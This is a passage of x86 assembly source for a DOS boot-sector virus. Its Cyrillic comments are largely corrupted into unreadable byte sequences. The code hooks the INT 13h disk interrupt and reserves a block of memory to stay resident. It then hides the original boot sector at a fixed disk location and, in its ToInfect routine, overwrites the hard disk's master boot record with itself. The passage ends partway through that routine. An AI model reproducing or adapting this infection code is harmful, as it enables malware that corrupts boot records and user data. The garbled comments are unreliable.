mov cs:OldBootHead,dh ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ન
|
|||
|
mov cs:OldBoot,cx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD><EFBFBD>,<2C><><EFBFBD><E0AEA6> <20>
|
|||
|
;ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20><> <20><> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭨<EFBFBD> BOOT-ᥪ<><E1A5AA><EFBFBD>
|
|||
|
mov ax,00301h ;<3B> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭨<EFBFBD> BOOT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int NewVector ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
jc ExitFromThere ;<3B><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD>襬 <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> BOOT-<2D>
|
|||
|
push cs ;<3B><><EFBFBD> ᯮ<><E1AFAE><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>ଠ<EFBFBD>쭮<EFBFBD><ECADAE>
|
|||
|
pop es ;BOOT-ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>諥<EFBFBD> ⠡<><E2A0A1><EFBFBD><EFBFBD>
|
|||
|
cld ;<3B><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD><EFBFBD> <20><>᪥<EFBFBD><E1AAA5> <20><> <20><> <20>
|
|||
|
mov di,offset ForFunction ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov si,bx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 直<> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
add si,di ;ᨫ<><E1A8AB><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 23 <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,00017h
|
|||
|
rep movsb
|
|||
|
mov ax,00301h ;<3B> ⥯<><E2A5AF> <20><><EFBFBD><EFBFBD>襬 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
xor bx,bx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOT-ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20>
|
|||
|
mov cx,00001h ;<3B><><EFBFBD> <20> <20>ࠢ<EFBFBD><E0A0A2>쭮<EFBFBD> ⠡<><E2A0A1><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub dh,dh ;<3B><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int NewVector ;<3B><><EFBFBD> ⮣<> 鮡 <20><> <20><><EFBFBD><EFBFBD>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>
|
|||
|
;<3B><>設<EFBFBD> <20><><EFBFBD><EFBFBD>ଠ<EFBFBD><E0ACA0><EFBFBD><EFBFBD><EFBFBD>⠫<EFBFBD><E2A0AB><EFBFBD> <20>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><>ଠ<EFBFBD>쭮
|
|||
|
|
|||
|
;***** <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3> <20><><EFBFBD><E0AEA1> boot ᥪ<><E1A5AA><EFBFBD><EFBFBD> *****
|
|||
|
ExitFromThere:
|
|||
|
pop di ;<3B><><EFBFBD>,<2C><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3> <20><> <20><><EFBFBD><EFBFBD>ᠫ<EFBFBD> <20> <20>⥪
|
|||
|
pop si ;<3B><> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
pop es ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>蠫<EFBFBD> <20> <20><> <20><><EFBFBD><EFBFBD>⠬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop ds ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>⪮<EFBFBD><E2AAAE> <20><><EFBFBD>祭<EFBFBD><E7A5AD>
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
ToWork endp
|
|||
|
|
|||
|
;*************** <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> ****************
|
|||
|
|
|||
|
;************* <20><><EFBFBD>⠫<EFBFBD><E2A0AB> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> **************
|
|||
|
|
|||
|
Instaljator1:
|
|||
|
|
|||
|
;******** <20><><EFBFBD><EFBFBD>宯<EFBFBD><E5AEAF><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> ***********
|
|||
|
xor di,di ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><E0AEA2> <20><><EFBFBD><EFBFBD> ES:DX
|
|||
|
mov ds,di ;<3B><><EFBFBD><EFBFBD>ᨫ<EFBFBD><E1A8AB> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> OldVector
|
|||
|
les dx,ds:[OldVector * 4] ;<3B> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ds:[NewVector * 4 + ForOffset],dx ;<3B><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD>
|
|||
|
mov ds:[NewVector * 4 + ForSegment],es ;NewVector
|
|||
|
|
|||
|
;*************** <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20>⥪ ****************
|
|||
|
cli ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪<EFBFBD><E2A5AA><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪
|
|||
|
mov ss,di ;鮡 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ࠧ<EFBFBD>
|
|||
|
mov si,BootOffset ;<3B><>। BOOT ᥪ<><E1A5AA> SS:SP = 0000h:7C00h
|
|||
|
mov sp,si ;<3B> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> SI = 7C00h
|
|||
|
sti
|
|||
|
|
|||
|
;************** <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20>⥪ **************
|
|||
|
push ds ;DS = 0000h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> RETF <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;GoToBoot 直<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push si ;SI = 7C00h <20><> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭨<EFBFBD> BOOT ᥪ<><E1A5AA><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㧪<EFBFBD>
|
|||
|
push si ;SI = 7C00h <20><><EFBFBD><EFBFBD><EFBFBD> <20>㤥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⠭<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> POP BX
|
|||
|
;<3B><><EFBFBD> ⮣<> 鮡 ES:BX <20><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>㧪<EFBFBD>
|
|||
|
;<3B>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭮<EFBFBD><ECADAE> BOOT ᥪ<><E1A5AA><EFBFBD><EFBFBD> (0000:7C00)
|
|||
|
|
|||
|
;****************** <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> *****************
|
|||
|
mov ax,ds:[MemSizeAdr] ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 1<> <><E0AEA7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>쭮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
dec ax ;i <><E0AEA1> <20><><EFBFBD><EFBFBD>⢮७<E2A2AE><E0A5AD> <20>쮣<EFBFBD> <20><>
|
|||
|
mov ds:[MemSizeAdr],ax ;⠪ 鮡 <20><><EFBFBD> <20><><EFBFBD><EFBFBD>㢠<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cl,6 ;<3B><><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> <20> <20><><EFBFBD><EFBFBD>ᨫ<EFBFBD><E1A8AB><EFBFBD> <20> ES
|
|||
|
sal ax,cl ;<3B> ES <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20><> <20><><EFBFBD><EFBFBD>⮪
|
|||
|
mov es,ax ;"<22><><EFBFBD><EFBFBD>ਦ<EFBFBD><E0A8A6><EFBFBD><EFBFBD>" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ds:[OldVector * 4 + ForSegment],ax
|
|||
|
mov word ptr ds:[OldVector * 4 + ForOffset],offset New_Int13
|
|||
|
;<3B><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> OldVector
|
|||
|
;⠪ 鮡 <20><><EFBFBD> <20><><EFBFBD><EFBFBD>㢠<EFBFBD> <20><> ES:New_Int13
|
|||
|
;⠪ <20><> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥 <20><><EFBFBD><EFBFBD><EFBFBD><E1ABA0> <20><><EFBFBD><EFBFBD>
|
|||
|
;<3B>ணࠬ<E0AEA3>
|
|||
|
|
|||
|
;************** <20><><EFBFBD>᭮<EFBFBD><E1ADAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ***************
|
|||
|
push ax ;<3B><><EFBFBD><EFBFBD>ᨫ<EFBFBD><E1A8AB> <> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ax,offset Instaljator2 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><> ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20> ES) <20><>稭<EFBFBD><E7A8AD><EFBFBD><EFBFBD> <20>
|
|||
|
push ax ;0-<2D><> <20><><EFBFBD>饭<EFBFBD><E9A5AD> <20> <20><>।<EFBFBD><E0A5A4> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
mov cx,00100h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> RETF <20><> <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
cld ;Instaljator2 <20><><EFBFBD> <20> <><E1A2AE> <20><><EFBFBD><EFBFBD><EFBFBD> 猪
|
|||
|
rep movsw ;<3B><>室<EFBFBD><E5AEA4><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
retf
|
|||
|
|
|||
|
Instaljator2:
|
|||
|
|
|||
|
;******************** ?????????? ********************
|
|||
|
xor ax,ax ;<3B><><EFBFBD> <20><> ᪨<><E1AAA8><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>⪮<EFBFBD><E2AAAE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E1AAAE><EFBFBD>
|
|||
|
mov es,ax ;<3B><><EFBFBD> <20><> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> DL i ⮬<> <20>i 箣<> <20><>
|
|||
|
int NewVector ;<3B><>室<EFBFBD><E5AEA4><EFBFBD> (??? <20><><EFBFBD><EFBFBD> <20>ॡ<EFBFBD> <20><> <20><><EFBFBD>㬠<EFBFBD><E3ACA0>) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> ES <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0000 (ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20>㤨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Boot-ᥪ<><E1A5AA><EFBFBD>)
|
|||
|
|
|||
|
;************ <20><><EFBFBD><EFBFBD>㦠<EFBFBD> <20><><EFBFBD> BOOT ᥪ<><E1A5AA><EFBFBD> ***********
|
|||
|
push cs ;<3B> DS <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> CS ⮡<><E2AEA1> DS ⥯<><E2A5AF>
|
|||
|
pop ds ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20> <20>i<EFBFBD><69><EFBFBD> i <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (DS:0000)
|
|||
|
mov ax,00201h ;<3B>㭪<EFBFBD>i<EFBFBD> <20><>⠭<EFBFBD><E2A0AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
pop bx ;ES:BX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD> 0000:7<>00
|
|||
|
mov cx,OldBoot ;<3B> CL-<2D><><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD>,<2C> CH <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6>
|
|||
|
cmp cx,0000Dh ;<3B><><EFBFBD><EFBFBD> CX <20><> <20>i<EFBFBD><69><EFBFBD><EFBFBD> 0000Dh <20><> <20><>३<EFBFBD><E0A5A9> <20><>
|
|||
|
jnz ReadFloppy ;<3B><><EFBFBD><EFBFBD>㧪<EFBFBD> <20><>ଠ<EFBFBD>쭮<EFBFBD><ECADAE> boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20> <20>i᪥<69><E1AAA5>
|
|||
|
mov dx,00080h ;i<><69><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㧨<EFBFBD><E3A7A8> boot-ᥪ<><E1A5AA><EFBFBD> <20> <20>i<EFBFBD><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int NewVector ;<3B><> <20>i<EFBFBD><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i <20>i<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> ᥪ<><E1A5AA><EFBFBD>i <20> <20><><EFBFBD><EFBFBD>
|
|||
|
;(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><E0AEA6>/ᥪ<><E1A5AA><EFBFBD>) 0/0/13 <20> <20><><EFBFBD><EFBFBD>⪮<EFBFBD>i<EFBFBD>
|
|||
|
GoToBoot: ;<3B><>।<EFBFBD><E0A5A4> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD>
|
|||
|
retf ;CS:IP = 0000:7C00
|
|||
|
ReadFloppy:
|
|||
|
sub dx,dx ;<3B><><EFBFBD><EFBFBD>㦠<EFBFBD> <20><>ଠ<EFBFBD>쭨<EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD> <20> <20><>᪥<EFBFBD><E1AAA5>
|
|||
|
mov dh,OldBootHead ;i<><69><EFBFBD>ଠ<EFBFBD>i<EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <>i饭<69><E9A5AD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD>iઠ<69>
|
|||
|
int NewVector ;OldBoot i OldBootHead
|
|||
|
jc GoToBoot ;<3B><><EFBFBD><EFBFBD> <20>㫠 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ-
|
|||
|
;<3B>i<EFBFBD><69><EFBFBD> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD> (??? <20><><EFBFBD><EFBFBD> <20>
|
|||
|
;<3B><> <20>ࠢ<EFBFBD><E0A0A2>)
|
|||
|
|
|||
|
;******** <20><><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD> (0/0/1) <20><> <20>i<EFBFBD><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i ********
|
|||
|
push cs ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ࠧ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> १<>-
|
|||
|
pop es ;<3B><><EFBFBD>⭮<EFBFBD> <20><><EFBFBD>⨭<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,⠬ <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> 512
|
|||
|
mov ax,00201h ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD>쭨<EFBFBD> (<28><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
mov bx,00200h ;ES:BX = VirusSegm:00200h,<2C><> VirusSegm - ᥣ<><E1A5A3><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CS,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>)
|
|||
|
mov cx,00001h ;<3B><><EFBFBD><E0AEA6> = 0,ᥪ<><E1A5AA><EFBFBD> = 1
|
|||
|
mov dx,00080h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> = 0,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> 80h)
|
|||
|
int NewVector ;<3B><><EFBFBD><EFBFBD> <20>㫠 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (CF=1,<2C><><EFBFBD>ਪ<EFBFBD><E0A8AA><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jc GoToBoot ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD>) <20><> <20><><EFBFBD> <20><> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><>-
|
|||
|
;<3B><>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;********** <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><> MBR <20><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> **********
|
|||
|
;<3B><><EFBFBD> ᥬ<><E1A5AC><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD> SS = 0000) <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD> ᮡ<><E1AEA1> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>稭<EFBFBD><E7A8AD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>饭<EFBFBD><E9A5AD> 0000h
|
|||
|
;"ᨤ<><E1A8A4><EFBFBD>" <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD>饭<EFBFBD><E9A5AD> 0200h
|
|||
|
;<3B><>室<EFBFBD><E5AEA4><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD> <20><><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
xor si,si ;SI = 0000h <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
lodsw ;BX = 0200h <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
cmp ax,[bx] ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> MBR <20><><EFBFBD><EFBFBD>-
|
|||
|
jnz ToInfect ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> MBR <20><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>
|
|||
|
lodsw ;<3B> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD>
|
|||
|
cmp ax,[bx+2] ;boot-ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>㯭<EFBFBD><E3AFAD> <20><><EFBFBD><EFBFBD> <20> 类<><EFAAAE>
|
|||
|
jz GoToBoot ;<3B><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> MBR
|
|||
|
|
|||
|
;************* <20><>ࠧ<EFBFBD><E0A0A7><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> **************
|
|||
|
ToInfect:
|
|||
|
mov cx,0000Dh ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> MBR <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>᮫<EFBFBD><E1AEAB>-
|
|||
|
mov OldBoot,cx ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0/0/13 (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F>४/ᥪ<><E1A5AA><EFBFBD>)
|
|||
|
mov ax,00301h ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
push ax ;楩 ᥪ<><E1A5AA><EFBFBD>,<2C><><EFBFBD><EFBFBD> ⠬ <20><><EFBFBD><EFBFBD> <20>㫮 <20><> <20><><EFBFBD><EFBFBD>
|
|||
|
int NewVector ;<3B>㤥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop ax ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD> <20><> <20><><EFBFBD>
|
|||
|
jc GoToBoot ;<3B><> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD> boot-ᥪ-<2D><>
|
|||
|
|
|||
|
mov si,offset PartitionTable + 00200h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEA2A0> ⠤<><E2A0A4><EFBFBD><EFBFBD>
|
|||
|
